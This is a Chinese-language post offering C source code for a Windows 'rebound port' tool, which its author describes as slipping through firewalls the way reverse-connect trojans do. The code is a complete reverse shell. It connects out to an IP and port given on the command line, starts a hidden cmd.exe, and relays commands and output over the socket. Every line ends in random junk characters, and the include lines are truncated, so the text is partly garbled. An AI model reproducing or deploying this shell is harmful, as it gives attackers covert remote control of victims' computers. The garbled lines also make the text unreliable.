这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |6\FI?
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/* ============================== ^(E"3 c
Rebound port in Windows NT 'XC&BWJ
By wind,2006/7 sDz)_;;%
===============================*/ a!s.850@
#include ymzPJ??!
#include <z~2d
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#pragma comment(lib,"wsock32.lib") hlABu)B'1
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void OutputShell(); %fexuy4
SOCKET sClient; X^?|Sz<^E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7]<F>97
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void main(int argc,char **argv) p*(U*8Q
{ nN(D7wk
WSADATA stWsaData; 6!gtve_
int nRet; -Z[R S{#+T
SOCKADDR_IN stSaiClient,stSaiServer; x"zjN'|
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if(argc != 3) .(gT+5[
{ +=,4@I%
printf("Useage:\n\rRebound DestIP DestPort\n"); B.C H9M
return; SNopAACf1
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4{Yy05PFS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P!>{>r4
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stSaiClient.sin_family = AF_INET; xPn'yo
stSaiClient.sin_port = htons(0); O?4vC5x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #w%a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $)kBz*C[
{ }
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printf("Bind Socket Failed!\n"); =: v><
return; VDb,$i.Z0
} 8VAYIxRv
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stSaiServer.sin_family = AF_INET; E9Qd>o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D:RBq\8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u+I r:k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [EW$7 se~
{ )$Dcrrj
printf("Connect Error!"); %Mb(
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return; .5#tB*H
} |R
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OutputShell(); $jUS[.S_|I
} b0zxT9
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void OutputShell() #sm_.?P
{ 6|"!sW`%N
char szBuff[1024]; ="'P=Xh!8
SECURITY_ATTRIBUTES stSecurityAttributes; J6^Ct
OSVERSIONINFO stOsversionInfo; JPoK\-9NT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I]WeZ,E
STARTUPINFO stStartupInfo; i?i7T`
char *szShell; iz%A0Z+`bg
PROCESS_INFORMATION stProcessInformation; Vm,f3~
unsigned long lBytesRead; "Wn?8vR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fEv<W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6yl;o_6:
stSecurityAttributes.lpSecurityDescriptor = 0; )68fm\t(
stSecurityAttributes.bInheritHandle = TRUE; &xiDG=I#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +~i+k~{`H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0:B^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /i~^LITH
stStartupInfo.wShowWindow = SW_HIDE; EV?47\~
stStartupInfo.hStdInput = hReadPipe; d;NFkA(df
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M~{P',l*
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GetVersionEx(&stOsversionInfo); ]zwqG A
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switch(stOsversionInfo.dwPlatformId) k1$2a8ja
{ |q.:hWYFpM
case 1: 2dd:5L,
szShell = "command.com"; Jn
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break; 8HRPJSO~g
default: pJ*#aH[ySP
szShell = "cmd.exe"; Oih2UrF
break; ("JV:u.L+
} 1J{z}yPHc
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w#G=Z_Tt
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send(sClient,szMsg,77,0); eDM0417O(
while(1) !qw=I(
{ c!u}KVH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PVkN3J
if(lBytesRead) Pq J*
{ o"ah\"#el
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~ Dp:j*H
send(sClient,szBuff,lBytesRead,0); #G ,
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} `j!2uRFe>
else >K|G LP
{ j_a~)o-p
lBytesRead=recv(sClient,szBuff,1024,0); 4(0t
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if(lBytesRead<=0) break; iZq@W3GL
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _l{5'm
} R;TEtu7
} 548[!p4
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return; )x:j5{>(
}